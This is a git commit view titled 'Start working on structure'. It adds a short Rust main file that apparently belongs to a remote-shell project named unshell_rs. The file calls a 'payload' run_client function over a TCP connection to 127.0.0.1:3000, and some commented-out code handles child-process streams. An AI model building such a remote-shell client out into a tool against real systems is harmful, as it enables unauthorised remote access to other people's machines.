Start working on structure

This commit is contained in:
Michael Mikovsky
2025-06-04 22:52:20 -06:00
parent 1f1cb6952f
commit 8adfc68854
19 changed files with 461 additions and 0 deletions
+24
View File
@@ -0,0 +1,24 @@
// #[allow(unsafe_op_in_unsafe_fn)]
// mod execute;
use std::error::Error;
use unshell_rs::{
networkers::{TCPClient, TCPConnection},
payload::run_client,
};
// /// Pipe streams are blocking, we need separate threads to monitor them without blocking the primary thread.
// fn child_stream_to_vec<R>(mut stream: R) -> Arc<Mutex<Vec<u8>>>
// where
// R: Read + Send + 'static,
// {
// let out = Arc::new(Mutex::new(Vec::new()));
// let vec = out.clone();
// }
fn main() -> Result<(), Box<dyn Error>> {
run_client::<TCPConnection, TCPClient>("127.0.0.1:3000")?;
Ok(())
}